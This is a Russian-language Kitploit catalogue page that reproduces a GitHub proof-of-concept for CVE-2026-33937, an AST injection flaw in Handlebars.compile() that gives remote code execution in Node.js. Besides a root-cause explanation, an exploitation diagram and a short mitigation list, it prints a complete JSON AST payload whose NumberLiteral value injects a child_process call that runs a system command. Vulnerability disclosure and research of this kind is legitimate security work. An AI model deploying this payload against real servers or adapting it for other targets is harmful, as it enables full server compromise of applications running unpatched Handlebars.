Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dinhvaren/cve-2026-33937
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubdinhvaren/cve-2026-33937

cve-2026-33937

Доказательство концепции эксплуатации для CVE-2026-33937, уязвимости внедрения в AST Handlebars, приводящей к удалённому выполнению кода в Node.js. Демонстрирует сформированные AST-нагрузки и содержит рекомендации по устранению уязвимости.

Репозиторий
3 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33937 - Эксплойт PoC для RCE в Handlebars

Описание

CVE-2026-33937 — это критическая уязвимость удалённого выполнения кода (RCE) в Handlebars, вызванная небезопасной обработкой входных данных в виде абстрактного синтаксического дерева (AST).

Уязвимость позволяет злоумышленникам внедрять произвольный JavaScript-код, передавая специально сформированный AST-объект в Handlebars.compile().

Первопричина

Handlebars.compile() принимает оба варианта:

  • Строку шаблона
  • Предварительно разобранный AST-объект

Когда передаётся AST-объект, этап парсинга пропускается.

Внутри:

root@kitploit:~

lib/handlebars/compiler/javascript-compiler.js

Функция:

root@kitploit:~
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}

напрямую вставляет number.value в генерируемый JavaScript-код , что приводит к инъекции кода.

без санитизации или экранирования

Воздействие

  • Удалённое выполнение кода (RCE)
  • Полная компрометация сервера
  • Выполнение произвольного JavaScript в среде Node.js

Схема эксплуатации

root@kitploit:~
Злоумышленник → Сформированный AST (JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler (инъекция через NumberLiteral)
        │
        ▼
Генерация кода
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE

Доказательство концепции (PoC)

root@kitploit:~
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}

Затронутые версии

  • Handlebars <= 4.7.8

Меры по смягчению

  • Не допускайте недоверенный AST-ввод
  • Проверяйте и санитизируйте все входные данные шаблонов
  • Обновитесь до исправленной версии Handlebars

Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33937
Скачать инструмент